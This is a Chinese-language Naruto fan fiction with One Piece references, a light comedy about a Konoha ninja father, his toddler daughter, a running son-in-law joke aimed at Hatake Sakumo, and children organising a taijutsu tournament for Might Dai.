《身为木叶忍者我坚决捍卫一夫一妻制度》
1. 为幼驯染操心就会有操不完的心
十数年难遇的雷暴气象席卷木叶,树摧木折,乌云蔽日,被飓风骤然从大地撕扯着卷入苍穹的断枝败叶像被用力掷出的千本,一根根、一片片骤雨般咚咚地击打着森林外木构造的一户建房体。
与屋外大军压境般摄人心魄的凶恶险象截然相反,房子内的一大一小两道身影在轰鸣的雷声中忙得不可开交——
海图就位,指南针就位,伟大航路指针(仿)就位,航海书籍就位,航海三角板就位,六分仪就位,烘托气氛的蜡烛就位。
上上下下挑拣了好一会儿,自觉已经布置得差不多的男人大手往穿了一身蓝白相间的海魂衫正东顾西望的小女孩肚子上一搂,轻松地带着人在蒲团上坐了下来。
“故事要开始了哦,小千。”
“哦!”千弥笑着窝在父亲怀里行了一个稚嫩的敬礼手势。
烛光闪烁,为高大的身影披上了一层橘黄色的暖光,人影混着书影投落在墙面与满地零碎的物品一道构成了一场别开生面的故事会开场。
烛焰在千弥的眼眸中跳跃,手里被塞了一只冰凉的圆形指针,背靠着爸爸的小女孩眨了眨眼睛,嗷呜一声轻轻地打了个哈欠。
“我的财宝吗?想要的话就给你吧,去找吧!我把世界上的一切都放在那里!无数豪杰因为那位传说中拥有了一切的海贼王哥尔·D·罗杰临死前的一句话,为了争夺传说中的大秘宝One Piece争相奔赴大海,世界自此迎来了大海贼时代。”
平稳低沉的声音穿透雷兽的嘶嚎在头顶响起,耳朵动动,成功捕捉到关键信息的千弥像一只小应声虫重复着只言片语,星星眼道,“大海贼!时代!One Park!”
伟大航路指针(仿)从千弥小小的手心滑落,砸到腿边正护着脑袋打瞌睡的海鸥头上,又咚隆隆地滚落在地上。
“嘎嘎嘎嘎!”
锯木头似的嘶哑鸟鸣声响透了小屋。
从睡梦中惊醒的海鸥头戴一顶刻有木叶标志铁片的贝雷帽,清澈温润的黑色豆豆眼左右环顾一圈发现这里不仅没有危险甚至十分安逸后,哗啦啦地扑扇着翅膀,橘黄色的鸟喙一张一合,锯木头似的属于“人”的声音响起——“去码头……"整点薯条!
“嘭”地一声,面子明显大不如海贼王的海鸥连要求都没表述完整便化作一道白烟消失在一方空间之中。
“我们继续吧。”
“海贼王!One Park!”
“我们要讲的故事主角是海军哦,小千。而且传说中的宝藏名为‘One Piece’啦。肩挑正义的海军以守护大海的安全为己任,会将一切邪恶的海上强盗打得落花流水并关进深不见底的深海大监狱呦。”
“噗噜噜……”
“因为一句帅气的话喜欢海贼了吗?”抚着怀里蓬蓬茸茸、四下卷翘的短发,古蹊辻无奈地笑出声,“爸爸我可是始终坚定的站在正义那边,为了守护平民奋斗的呦,千弥也是,无论如何都要沐浴在阳光下。”
“沐浴?”
“现在和你说这个似乎还是太早了些哈哈哈!牙牙学语?一岁大点儿的小孩还真是难懂啊……”
感受着背部不断传来的震感,千弥抬起头,皱眉撇嘴。
“不舒服了吗?抱歉、抱歉。”
重新调整了一下坐姿,往女儿怀里塞了一只水气球安抚的男人摊开面前的卷轴,“学唱歌吧,顺便学认字,这可是爸爸最擅长的海军之歌哦!”
“大海,世界,伙伴,勇往向前,蔚蓝的远方!”
“不错嘛,已经认识很多字了!”看着肉肉的小手随着童音在生僻的字上一点一点,辻不重样的夸赞毫不吝啬地一句接着一句,怀中骄傲的小女孩渐渐红了耳尖,卷成蓝白相间的一团。
“不用害羞,面对别人夸赞的话,挺胸抬头全部接受就好了。”
戳戳小千的脸颊,辻把人高高举起,蹭蹭,他的女儿好可爱,唱歌也好听。
“咚咚、咚咚。”
不同于碎石草木的撞击与刮擦,有节奏的敲击从门扉传来。
“天已经放晴了吗?”
放下小千独自去门关开门的古蹊辻手搭在额前,惊喜地望着乌云还没散尽的碧色蓝天。
“把头低下来啊!辻大叔!”
顶着一双死鱼眼,双手环抱着站在门口的奈良鹿久头上蹦出十字符号,想到出发前老妈耳提面命的反复叮嘱,决定不同幼稚鬼计较,“老爸老妈邀请你和千弥去我们家吃晚饭。”
“就只有这些吗?没有别的什么了?”
奈良鹿久看着辻大叔勾起的嘴角别别扭扭地开口,“他们期待你和千弥的到来。”
到底是怎么看出来他有所隐瞒的?
“那鹿久呢?也期待我们去做客吗?“
“这种问题……”麻烦死了。说到底,无论是聚餐还是别的什么,都只是一群大人之间的交际往来吧。
千弥那家伙笨笨的,年龄又小,跟在他身后除了做小拖油瓶就是小吉祥物,完全没法担当一个合格的玩伴,两个人相处完完全全是他在照顾笨小孩,虽然笨小孩也很让人省心就是了。
小小年纪已经成为颇具资历的保父,鹿久看着男人身后突然探出来的脑瓜默默咽下去了即将脱口而出的牢骚。千弥那家伙感知很敏锐。
注意到小冲天辫的目光落在了辍在自己身后的影子上,古蹊辻顶着如出一辙的死鱼眼半阖着眼调侃道,“性格太别扭可不适合当古蹊家的赘婿呢~”
无良大人!这个木叶赘婿对着一个四岁的孩子说什么成人话题呢!他的老爸到底是怎么和这个不着调的家伙处成朋友的啊!
脸涨得通红,选择性无视古蹊辻的鹿久张开双臂,稳稳地接住撞进自己怀里的千弥。
触摸到千弥裸露在外的微凉的皮肤后,奈良鹿久秀气的长眉拧起,不加掩饰的谴责目光冷嗖嗖地落在辻的身上,“这种天气,大叔你竟然只给千弥穿了一件短袖!”
“刚刚在室内我有给小千暖身体。”虽然是蜡烛和他的体温。
对话的主导权随着话题的变化悄然发生了交接,贴了贴千弥冰凉的脸颊,小小的奈良鹿久细细地数落起来千弥的母亲带学生出任务这几天发生的事,犀利评判道,“完全不靠谱。那家伙都跑到鹿林里了也没人发现。”
“其实那天我有发出C级委托,请有空的木叶忍者帮忙照顾……"
“千弥在你身边才两天,发型就被迫变成了短发!”
他好不容易才拜托了老妈和留着长发的亥一学会的扎复杂辫子的技法毫无用武之处!
“小千吃东西沾到了蜂蜜,等发现时打结的头发已经团成了团。”
就算勉强解开,头发也已经卷成一根根藏色弹簧了。
“呼呼。”
被千弥落在颈窝的呼吸喷得一个激灵,奈良鹿久抱着千弥大步向前,往自己家的方向赶。
“我也期待啦,总之快走吧!”
“小千学会将棋了哦~”转身从门口的袋子里掏出两个卷轴的男人大步跟上,手按在小冲天辫头顶揉了揉,看似硬质的头发意外的柔软。
“以后妹妹可以陪你做一些你喜欢的事了,如何,心里有生起一丝期待吗?”
“……”
将棋?千弥?
微微后仰着身体的奈良鹿久看着伏在自己颈侧,暖着脸颊双眼自在地眯成一道缝的小家伙。
真的学会了吗?奈良鹿久抱以怀疑。
“银将升级成成银就不能再向斜后移动了哦,这是规则,规——则——(ru——le——)”
数不清是第几次按住那双蠢蠢欲动的犯规小手,鹿久无奈地看着千弥低下头,静心等待。
清如秋水的双眸被散落的细碎发丝遮住,下一秒,一抹深邃的蓝色如流星般划过,散得像是他的错觉。再想贴近了细看时,千弥已经一脸认真地握成空拳,抬起头,目光锐利得可爱,“既然如此,那种规则就由我来打破!”
用脆生生的童音相当帅气地说出了不得了的话呢。
“辻大叔你都教了千弥什么?完完全全地被教坏了吧!完全变成了法外狂徒啊!”
冲天辫散开,被古蹊辻戏称“小小年纪就一把年纪”的奈良鹿久这一刻终于像个4岁的幼稚小孩,化身吐槽役,绝望地把自己揉成一团,挫败地由着无良的大人们笑成一团。
“鹿久完败呢~”捂着嘴咯咯地笑不停的奈良织音起身上前,抱住刚刚发出霸道宣言的小团子,瞥一
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眼棋盘后惊讶地轻语,“啊啦啦,无论是生活还是棋局。”
一颗心大半用来防范千弥时不时试图打破规则的惊人之举,不知何时,自己的玉已经临抵悬崖绝壁,无路可退。
听到老妈的低语,鹿久慌乱地起身,瞪大了眼睛推演着棋桌上的残局。
“竟然…真的输了。”
在他的阻挠下,千弥并没有实质性的犯规行为。所以……这个一岁多的小笨蛋原来是颗聪明蛋?!
“那孩子身上的问题已经解决了?”抬手将成银的棋子打入敌方阵地,奈良鹿生瞥了一眼咯咯地陪织音笑成一片的小千弥询问道。
“啊,在漩涡一族找到了合适的封印术。至于解封,一步步来吧,那孩子成长很快呢。”
感慨一声的古蹊辻没提自己和十来个漩涡族人在汗牛充栋的书海古籍里翻找了足足三天的苦,转而分享起另一件趣事。
“那孩子在涡隐村也交到了朋友呢。真希望下次再见,他们可以成为更亲密的朋友。你还记得小千出生后学会的第一句话吗?”
“很难不记得吧,毕竟你可是足足被海未桑追着打了三条街啊,那可真是难得一见的街景~”
“噗哈哈哈!”辻大笑着将从对方那收缴来的成银丢进驹台,“明明才过了短短几个月,还真是怀念啊,那时候的情景。”
“我记得是‘汪汪,朔茂(サクモ)’吧。”奈良鹿生挑眉看着耳朵悄悄竖起来的鹿久,眨眼示意辻继续。
“漩涡那边也有几个比千弥小的孩子,所以小千在那里也做了一回姐姐呢,一次性教会了三个人说话哦!”
看着辻不加掩饰的笑意,奈良鹿生脑瓜转了半圈,心脏抽跳了一下,“难道?”
至少三只元气十足的红毛小狗挤在奈良鹿生的脑子里大声吠叫。
“如今朔茂的大名在以威名真正响彻忍界前已经以另一种方式响彻涡之国了,哈哈哈哈。”
“我忽然有点可怜朔茂了。”恐怕旗木朔茂会成为被涡之国全体父母警惕的“公敌”吧。
“带着千弥和水户大人启程返回木叶前,朔茂已经变成传说中掌管涡隐村小孩开口说话的男人了。”
“别再说了,再说下去我怕自己要心疼他。”下次遇到朔茂,提醒对方戴上口罩遮掩一二吧。
“Shi——ka——ku。”听了一耳朵笑谈,坐在母亲对面两只手一齐戳着千弥脸颊的奈良鹿久拖长了音调,心头泛起的微妙的酸涩在与千弥对视那刻散了个一干二净。
“哼。”
“ Shi——ka——ku~”捏了捏千弥脸颊的奈良鹿久用从丁座那得来的糖果诱惑,“来念一次我的名字。”
“哼。”鼓着脸颊的千弥试图把戳自己的手指顶走。
“没良心的小坏蛋。”
仔细想来,他打从生活能够自理后就跟在千弥身后做了保父,迄今为止还一次都没听过千弥叫自己的名字!
“快点叫我的名字,坏蛋千弥。”
“汪!”
不加犹豫的清脆狗叫再度引来一片笑语。
“不是这个!”
“古蹊家招赘的时候,考虑一下鹿久如何?”摸着将棋的奈良鹿生看着坐在对面的辻,“虽然比不上朔茂成熟,但臭小子迟早会长大的。”
“你在胡说八道什么啊,臭老爸!”脸红成烂熟番茄的奈良鹿久脚下的影子剧烈颤动。
年仅四岁的小孩多少还有着对父亲的崇拜情节。奈良鹿久绝望地发现自己父亲那英明挺拔的智将形象今天在他心里碎成一片一片了!
合着您也是这种拿着自家孩子开涮的无良大人吗?!
“臭小子,等再过15年你会感谢我的。”
“才不会啊!臭老头!”
“我才不要一个总和我对着干的赘婿呢~略~”扒拉着眼皮的辻冲鹿久做了个鬼脸。
“我也不要幼稚的大人做我的岳丈啊!可恶。”过于稚嫩,完全被大人玩弄于鼓掌之间的小奈良纵使喊得口干舌燥还不忘低声对给自己递茶的千弥礼貌道谢。
“啧,不中用啊,鹿久。”
“中奇怪的用处吗?”
小小少年对屋子里的男性们投之以鄙夷的死鱼眼。
2. 谣言不及时澄清就会像雪球一样越滚越大
“二代目火影大人和辻大人今天也在为木叶的未来兢兢业业啊。”
任务报告完毕,得到了火影大人的应许,俯身向两片几乎被工作文件吞噬的衣角鞠躬致意后退出火影室的旗木朔茂脑海中浮现出辻大人泛着青黑的眼睛,同身边的宇智波镜喟叹道。
“是啊,明明好不容易才稍稍安定了一些,那两位大人反倒更忙了。尤其是辻大人,几天不见黑眼圈看起来比沙隐村的那帮忍者还严重。”想起一字摆开的四排文件,脑后流下一滴冷汗的宇智波镜深以为然地点点头。
“任务结束了,接下来有什么打算?”
“补充生活物资,购买忍犬的生活用品,然后回家休息。”离开火影大楼前顺势将面具放进忍具包的旗木朔茂想了一下,语气平静地回答。
“你这家伙的生活还真是平淡啊。”手拍在后辈的肩上,宇智波镜叹气。就连他得了空时也会跟着取风他们去团子店或是烤肉店放松。
想起什么的宇智波镜微微下垂的眼皮突然睁得溜圆,大脑在新的刺激下暂时忘却了身体因长时间做任务带来的高压与疲惫。
“你难道真的?”
不消想就知道前辈什么意思的旗木朔茂声音猛地拔高,“不是您想的那样!”
“那为什么从来不去忍者们组织的联谊?”宇智波镜重新变得混沌的大脑又想到了另一种可能,漆黑的眼珠不自觉地向下看去。
“更不是这样!”脸上浮现一抹薄红的旗木朔茂拍开肩上的手,大步流星地向前走。
“别急啊,我请你吃饭赔罪!”
察觉到对方婉拒自己的意图,装聋作哑两过族地而不入,讪笑着跟在旗木朔茂身后的卷发男人狗腿地帮忙掀开居酒屋的帘子,意外地看到了本应坐在火影楼的两个身影。
“呜呜……被撵出来了……"
也许是古蹊辻周身萦绕不散的忧郁气质以及居酒屋自带的微醺感的综合作用,总之旗木朔茂隐隐觉得辻的眼圈在居酒屋的灯光下发紫?刹那间的犹豫,被辻招呼着过来的旗木朔茂和宇智波镜转眼酒局促地坐在了两位大人的身侧。
“小千虽然变成了短发,但还有一小束一指长的头发留在发尾!没错,再留长一点就和这个发型一样,可以扎成小辫子!”看到旗木朔茂的小辫子伸手就要揪的古蹊辻被深受部下爱戴与敬仰,光芒万丈的二代目千手扉间拦下。
“嗐——”长叹一声的千手扉间一副没眼看的模样捂住脸。
一个正值公休的家伙主动跑过来加班这种天上掉馅饼般的好事果然不会轻易降临。他到底在一个天然呆身上期待什么啊。
“我认真地跪地道歉,顺便用事实无懈可击地反驳了‘小千的发型是短发’这一错误观点!”
桌面上的汤豆腐荡出一圈圈涟漪,辻扯着千手扉间的毛领子大声控诉,“可是海未她竟然毫不留情地给了我一拳!不仅如此,还扣掉了我的零花钱,把我赶出家门!好过分!”
比起道歉明明更像是死到临头仍不服输的狡辩啊!所以不是熬夜熬出来的黑眼圈,而是拳头揍出来的熊猫眼吗?!眼神不自觉地照着辻的眼圈看了又看的两人暗自腹诽,黑线落了一地。
同曾在岩忍战场作为辻的部下与其并肩作战的旗木朔茂不同,宇智波镜对木叶的八卦消息了解不多,只是大致知道漩涡辻代表漩涡一族来木叶交流忍术和封印术,日久天长入赘木叶,还改了姓氏。除此之外,他对对方的了解更多局限于其在如今尚未彻底落幕的大战期间立下的战功。
万万没想到那样强大的一位大人竟然是这样亲民率直的性格。
“啊,你们两个这个快忘掉!”转过头像是才发现朔茂和镜,古蹊辻摆摆手为自家老婆正名,指着右眼说道,“这个是我为了不被人看出来自己打的,和我老婆没有关系。不对,快忘掉。”
“……”对视一眼,旗木朔茂和宇智波镜异口同声,“我们已经忘掉了。”
“既然都要过来加班了,直接找我用医疗忍术消掉不就好了吗?”顺着被抓乱的毛领子,千手扉间下意识地开始吐槽。
“因为先遇到了准备去火影办公室送文件的忍者啊,一时情急根本什么都想不到了!被人安慰什么‘工作真是辛苦了’‘还请继续加油’之类的话,连找你消熊猫眼都变得复杂起来了。”
“不是还有变身术吗?”
“都说了当时大脑一片空白啊!”呜呜假哭的古蹊辻拽着千手扉间,图穷匕见,“大慈大悲、救苦救难的扉间菩萨,您的信徒我没钱了,今天的加班费可以直接发到个人手上吗?”
“知道了。”听着满嘴口花花的胡话,千手扉间看向一旁连米粒都夹一半掉一半的朔茂和镜苦恼地按着太阳穴,“无视这个家伙的话,静心吃饭吧,我来结账。”
“今天连住的地方也没有了,还请务必接济我一晚。”
“今晚若是不回去认真道歉,恐怕你连明天住的地方也没有了。”独身至今的千手铁树好意地从实际出发给这个弟弟提供了建设性的意见。
没错,弟弟。
作为漩涡一族的族长漩涡芦名的养子,这个三十出头却在某些方面幼稚的不像样的家伙从辈分上算和他、他大哥是一辈人。哪怕是千手扉间有时也不得不承认,这个家伙固执起来的难搞程度比辈分还高。
“今天晚上还要给小千讲故事呢!就用这种理由回家吧!”古蹊辻的眼里像是有一团火焰熊熊燃烧。
不,用这种理由绝对会被二次扫地出门的。旗木朔茂在心里暗暗摇头。
“还能自己回去吗?”狭长的绯色眼眸看了一眼醺醉到冒着酒泡的男人,“记得好好道歉啊。”
“当然!”拍着胸脯保证的古蹊辻当场表演了一个走直线。
“镜,就在这里分开吧。”草草嘱托一句,旗木朔茂迅速跟上走着“S”形消失在尽头的辻。
“……”
顺着旗木朔茂三两下消失在屋檐的背影望去,宇智波镜甩了甩脑瓜试图将身上沾到的酒气甩尽,感受着鬓边的卷发拂过脸颊带来一片痒意,他的脑海中蓦地再度浮现出了流传到宇智波族地的传言——古蹊辻属意让旗木朔茂做自己的上门女婿。
话说回来这种离谱的传言到底是怎么传出来的啊?!那位大人家的孩子今年才一岁吧!为什么没人澄清啊?!
……
当旗木朔茂本人真正感受到传言带来的困扰时,谣言已经传了两年,千弥三岁。
“我好像被排除在木叶的婚恋市场之外了。”
虽然自己目前为止并没有恋爱的意向,但莫名把他排除在外是不是有点过分了?
木叶的上忍、中忍、甚至连暗部分队都举行了这么多联谊会,他怎么连听都没听说过!都不被当成一名成熟男性对待了啊!
努力搞清情况的老实人向同期的加藤断探听情报——毕竟这家伙无论是男人缘还是女人缘都相当好。
“旗木桑……”加藤断看着旗木朔茂眼神微妙,“实际上……大家都默认你已经名草有主了。”
当然,也有不少同僚抱着减少竞争者的心态刻意没有去知会旗木朔茂。
哪怕是后知后觉,这家伙的反射弧未免也太长了些,呆头呆脑了两年才终于接上正确的线路吗?
“什么主?”明明是日语,他怎么忽然听不懂了?
“唔…”加藤断瞥了一眼对方身后,“小主。”
……
“啊啊啊,一瞬间就长大了啊,那孩子。”
“明明前段时间还看到大腿就抱,像树袋熊一样抱住就不撒手,现在已经能很好地抵御住大腿的诱惑了。”
坐在办公桌的古蹊辻扫过面前的文件,不客气地挪到奈良鹿生面前,真情实意地再度发出感慨,“小孩子啊,真是一天一个样,突然就长大了。”
接过文件的奈良鹿生扫一眼,正要顺嘴吐槽比起还童言童语的小千弥,自家儿子更短的“花期”时忽然哽住,头顶缓缓打出一个问号。
“这个是木叶初届武斗大赛的举办申请?奖品分别是神秘大奖、奈良家秘药
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和秋道家的兵粮丸?”
等等!什么奖品?谁家的秘药?他这个奈良族长怎么不知道?
“小孩子们,真是可爱,对吧?”喝了口水的古蹊辻眉眼弯弯,“似乎发生了一些有趣的故事。”
关于真相:
对岩忍前线战场——
“啊啊啊,战争快快结束吧!”他想回家结婚啊!
男人在桌下滚成一团,掀开营帐帐帘正欲汇报最新情报的旗木朔茂迅速放手钻进帐篷,同时关住了里面的声音。
“在外还请保持形象啊。”压低了声音的旗木朔茂恨不得摇摇男人的衣领子,让他清醒一点。
“可是海未怀孕了,我真的、真的好想回去看看!”本来只是担心木叶这边的防线过来短期支援,没想到支着支着自己反倒成了支柱。
“情报放左边。”正经没一秒的男人扫了一眼最新情报又开始磨洋工,“旗木朔茂当选古蹊赘婿的优势……我想想,第一点,果然还是忠实吧!”
一边想,一边写,辻下笔如有神助。
正认真向忍犬们分发已经处理过的指示的白发少年听到漩涡辻的声音,猛地抬起头,“不要在记载军情的卷轴上乱涂乱画啊!辻大人!”万一让旁人看到了像什么样?!
“您的孩子还没出生呢吧,男孩女孩都不知道。”
“以朔茂的性格作参考,感觉无论是男孩还是女孩找另一半都适用。果然,朔茂你很可靠呢!”
“并不想要这种夸奖!”
漩涡辻双手交叉抱在脑后,“如果未来有一天,新的家人是朔茂的话还真是让人安心。”
“我可是13岁了啊!”不管怎么想,分明一点也安不了心吧!到底是心脏多大的父母才能安心把孩子交给大这么多的人啊?!
“嘛,上下15岁以内我都能接受!”竖起大拇指的漩涡辻龇着牙,“怎么样,很开明吧!”
“开明的过了头啊!”
身处对抗岩忍的大前线,身体时刻的紧绷感稍退,顶着狗子们一个个揶揄的眼神,旗木朔茂冷酷地一个接一个拳头捶过去。
“对待如此可爱的我们竟然如秋风扫落叶般无情,真是过分啊,汪汪,朔茂。”头顶了两层包的斯托卡一脚踢在白发少年的小腿上,任劳任怨地抖着毛出发送信。
“我要出去散心,这边先拜托你了。可靠的朔茂kun~”
传抄,破译,解决完一部分工作的旗木朔茂站在营帐的主桌对面,寻找被辻乱涂乱画的重要卷轴。
“奇怪?怎么没有?”
“难道没写那些话吗?”
一连翻了好几份卷轴也没能找到目标,将手边已经翻看过的一并收拢进处理过的那垛,没有战事,可靠的13岁副手旗木朔茂今天也在绝赞认真处理文书中!
……
“奇怪,这个卷轴打开到最后竟然还有文字,不过末尾这里的文字是什么意思?”
对接信息的忍者们围上来,看着上面例举旗木朔茂优良品行的一二三条,七嘴八舌地讨论开。
“旗木朔茂的话,是岩忍战场那边的天才上忍吧。不过这一段话到底是什么意思,难道是单纯地夸赞旗木上忍的品行?”
“比起暗文更像是明文啊。”
“不可能,给我记住,作为情报人员忽视任何信息都是大忌!”
“难道是和更上面的情报班通讯的暗语?”
“往上传吧,总归不能错漏。”
上一级情报解读班——
“这是什么?怎么翻译出了一堆乱码啊?”
“往上传,往上传!”
上上一级情报解读班——
“难道是同火影大人联络的专用密文?竟然已经过了这么多天,简直太大意了!快点汇报给火影大人!”
“啊!是、是!”
火影楼——
伏案工作的千手扉间把所谓的“情报”团成一团,咬牙,“那个笨蛋……”
就算是阿尼甲都不会做出这种事来。
3. 三岁小孩守护珍重之人的决心不容小觑
“小千,算了。”刚刚才被准备做出村任务的同村忍者嘲笑为“万年下忍”的男人云淡风轻地招呼低声千弥,平和的面庞不见一丝恼怒,“继续我们的今日修行吧。”
“无论是下忍还是上忍,与我而言这些名号并不重要。”
半跪着用指腹仔细地压平小女孩因愤怒而反重力微微卷翘起来的发丝,身着绿色紧身衣,留一头黑亮的西瓜头的迈特戴对着咬唇低头站定在原地的小千弥竖起大拇指,摆出帅气的造型笑道,“毕竟守护好重要事物才是我作为木叶忍者坚持贯彻的信念!”
“可是、可是……"
大脑慢慢地转动,理智告诉千弥应当听从珍兽前辈的话语,放下心中的愤怒,可是看到迈特戴被人欺负她难过到无法呼吸。
逐渐被木叶的风沙迷湿了眼眶的古蹊千弥攥紧拳头,由内散发的强大气势硬生生压住了在唇齿间流窜的发颤哭腔,神色坚定,“看着自己珍视的人被欺负却无动于衷这种事我做不到!我也想要守护好重要的人!”
唯有这种事,她不想尊重珍兽前辈的意愿。
“呜呜~小千弥你——”愣了两秒,手臂伸展着把人狠狠地搂进怀里感动得泪流满面的西瓜头大喊,“你这家伙,果然是一个超——善良的好孩子啊!”
“呜呜~”已经忍耐到极限的千弥情绪爆发,眼泪瞬间糊了迈特戴满肩,吸水性超好的绿色紧身衣瞬间晕深了一大块。
“呜呜呜呜~”迈特戴流着两行宽带泪,手臂压住千弥的肩胛把女孩按在怀里,另一只手则轻轻拍打着千弥的背,笨拙又体贴。
“快松手啊西瓜头大叔!”
和同族的同龄人结束了秘术训练,从林子里走出来找千弥陪训的奈良鹿久抬头看到两人抱头痛哭的一幕,迅速从口袋里抽出手,大步走上前,仔细检查千弥的身体。
好在除了衣服因为体术训练有些汗湿以外并没有伤口。放下了悬着的心,奈良鹿久脸上的担忧一扫而光,长长叹气后抱着赖在自己怀里抽噎的千弥恢复成了一副怕麻烦模样的死鱼眼。
为什么他遇到的大人都是这副德行啊?!千弥这家伙原来还是个爱哭鬼嘛?再哭下去他胸口的衣服要湿透了啊。
火影大人每天就是和这些人打交道吗?未免也太辛苦了。
“珍兽前辈职级虽然是下忍,平时也只有抓猫、做苦力这样的基础任务,既不会忍术也不会幻术,”随着小千弥有些沙哑的话音落下,心脏被集火猛攻,□□了一排箭头的西瓜头应声倒地。
“但珍兽前辈的体术比绝大多数的忍者都要强大。”刚倒地不起的迈特戴又精神起来了。
捂着脸的奈良鹿久又是一声长叹,随后盘腿和迈特戴并排坐在一起。
“我想让大家的目光不再拘泥于忍者的级别,都能看到木叶的珍兽前辈身上的光芒!“
“让那些瞧不起前辈的家伙知道就算只会体术也可以成为了不起的忍者!”
“让那些同样缺乏忍术天赋或缺乏幻术天赋的忍者们知道,靠努力也可以成为了不起的天才!”擦干了眼泪,握着拳做出一个正拳挥击动作的千弥大声向着两人发出宣言。
“然后呢,你打算怎么做?”手臂已经撑在腿上,侧身用手抵住下颌的奈良鹿久听完了千弥的豪言,盯着千弥的眼睛询问。
“对战,用体术打过去!”脑袋歪了一秒的千弥补充道,“像拳击比赛一样建立一个擂台,构建规则、设立奖品吸引忍者们参加。”
“擂台和场地搭建还算简单,规则只需要仔细构思就好。但是忍者未必会被普通的奖品吸引,”奈良鹿久指出千弥计划中的漏洞,继续说道,“最重要的是这种武斗活动申请未必能被上面的那些大人们同意。”
“不是普通的奖品。”古蹊千弥露出大大的笑容,一缕阳光穿透薄云落在千弥身畔穿透了随风浮起的发丝,和天空微妙相容的明媚笑容看得鹿久一时失语。
“哦?”提起音调的冲天辫露出恰到好处的疑惑勾着千弥解答。
“是大秘宝啦!”
“真是败给你了,那是故事吧?”手从下颌滑落的奈良鹿久捧着肚子大笑,“既然没什么像样的奖品那我也帮忙出一份力好了。”
“呜~鹿久你人超好!”
“喂,别对我说这种话!而且这种申请能不能被通过还不一定呢。”
“会的,求求水户大人或是老爸就好了。”
“喂喂,官二代的作风暴露殆尽了啊。好歹得想一个让各方都能接受的由头吧。”
坐在一旁被安排得明明白白的迈特戴露出完全不在频道上的豆豆眼,呆呆地看着扑进小奈良怀里笑成一团的两个小孩。
“大秘宝是什么啊?”
“不过还真是青春啊!决定了,任务结束倒立绕村30圈!”青春之魂熊熊燃烧的迈特戴发出了今日宣言。
……
“只有有限才能的忍者的生存处境……”闭上眼靠在椅子上的千手扉间不解,“不是设立了特别中忍和特别上忍两个中间衔级做支撑吗?”
“嘛~特殊考核的参考条件是三人小组,不少临时搭伙的队伍因为信念不同中途散伙。再加上战时缓考和其他各种各样的原因,特中、特上的考核通过率跌破到20%了。”
辻递过一沓迈特戴参加特别中忍选拔的考试试卷,附带着还有其他“万年下忍”和“万年中忍”们的情报,有不少人个人能力够了但阴差阳错地愣是升不上去。
迈特戴五花八门的分数愣是没有一张上60。
“想不到靠作弊通关或是缺乏作弊手段,偏偏每次参考遇到的又都是情报搜集考察,凭毅力和知识在考场上硬着头皮写了这么多字,那孩子也是不容易啊。”辻看着迈特戴的考卷感叹道。
“努力的笨蛋吗?”看了一眼抖成蚂蚁的名字和答题区与之截然相反的刚劲字迹,感知到对方在考场上的心境,千手扉间忍不住地笑出声。
三道暗文翻译,除了第一年0分,往后每年考到都能得到至少一半的分数,数学…题型过于灵活多变,考得各有各的惨不忍睹啊……生化……算了……
“既然是特别选拔,那就按照特长各有侧重地重新分级分考场考察吧。但基础的常识还是要过关才行。”
“对了,那个申请,理由足够令人信服吗?”
“第三演习场南部的体术格斗场,事后记得用土遁恢复原样。”
“工作久了也需要放松放松吧?到时候火影大人也去感受现下木叶忍者们的基础实力如何?”
“真的是放松吗?”千手扉间只觉得肩上的担子又变重了。
“水户大人向千弥承诺,如果能拿出让她满意的活动方案会去指导封印工作和医疗救助工作,鹿生也已经回去看着他们制定细节了。也许这将是一场完全不亚于中忍考试选拔的别开生面的非官方武斗大会哦。”
“虽说借用了猪鹿蝶三家的名义,可实际的组织者们是木叶的超新生代,无论是保障制度的草拟还是大赛组织规则的细节制定都是他们讨论的结果。参加者们大多是如今木叶的中生代。都是火之意志的传承者们!真不感兴趣嘛?”
“那就没办法了,不过这程度至少也是半官方了吧。”组织起那么多人配合,那群小孩还真是能干啊。
“最近得加班了啊。影分身之术!”辻分出分身,全心投入到书海之中。
……
“既然得到了场地许可,接下来就是制定详细规则了。还有报名费的收取额度。后面这个我们可以自己搭一点,虽然最重要的是达成目的,但也不能无限制地投入。”看着星星眼的千弥,奈良鹿久习惯性地敲了敲。
“乱斗绝对不行,不过竟然想出来让戴前辈当‘守门员’迎战所有挑战者这种主意……我们搭建的是展示体术魅力的擂台,不是戴前辈的个人秀啊,你难道想累死你的‘珍兽前辈’吗?”
“……”目移。
“这种时候不要心虚啊!”
一边搓药丸一边看着儿子单手叉腰拿纸条在小千弥脑瓜上哗啦啦地敲,奈良鹿生觉得傻儿子似乎在往他妈妈的方向靠拢。
“嘛~要不采用最基础的分组比试呢?”秋道丁座揉了揉千弥的脑瓜,往两个人的面前递出去一盒布丁。
“除了我们自己张贴的海报,我还有请老爸和老妈帮忙散播消息,何况奖品很丰盛,参赛人员数量不用担心。”给千弥编了个小小麻花辫的山中亥一笑着拿起自己那份布丁,询问千弥,“不过最终赏就叫One Piece吗?不用预先公布内容吗?”
“是财富、名声和力量啦!”提笔勾画着手里的医疗管理手册,千弥嘴角弯弯。
山中亥一愣了一下,随后了然。果然少不了金钱啊。
“真是的,竟然搞了这么大的阵仗……”最重要的是还真的有声有色的搞起来了。
奈良鹿久闭上眼,有一种全世界都在陪千弥胡闹的感觉。
……
“观众席?”
一群忍者学校的小豆丁和大豆丁们团在一起,挥小旗子的挥小旗子,吹喇叭的吹喇叭,中间夹着犬冢家忍犬的狗叫和教师们维持秩序的指挥。另一边坐着非参赛忍者们的同伴,呐喊声欢呼不绝。稀稀疏疏的还有一部分观赛的平民。
“规模竟然这么大吗?”拿到赛程表的那一刻饶是千手扉间也不由自主地楞了一秒,竟有足足一天。
“连忍校的学生都来观赛了,这可远超我的想象。三个月一度的校外实践活动用在了今天嘛!真好奇啊,这场比赛的大赏One Piece!”千弥、鹿久、亥一、丁座他们能带来什么样的惊喜呢?
感叹一声的辻怼了怼身边一身便装的二代目,“快看,大
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孙女!”
“别闹。”
“现在宣布比赛规则,限使用忍体术、体术两种,点到为止,五遁忍术、幻术、忍具禁止。”
“第一轮,自来也vs纲手,比赛开始。”
“诶?男女不分开比吗?也没有同队回避的规定?”
准备一举夺魁获得响亮名声向纲手表白的男人眼睛瞪成圆溜溜的白眼,秒变小鹌鹑瑟瑟发抖地看着对面拳头嘎吱嘎吱作响的同伴。
“真是有好戏看了。”阴恻恻的沙哑声音尽是一股看乐子的味道。
“自来也从听说活动的那天就一直兴奋到现在啊。”冷汗从后脑勺划过,旗木朔茂面露不忍地阖上双目——那家伙期待的绝不是眼下这一幕。
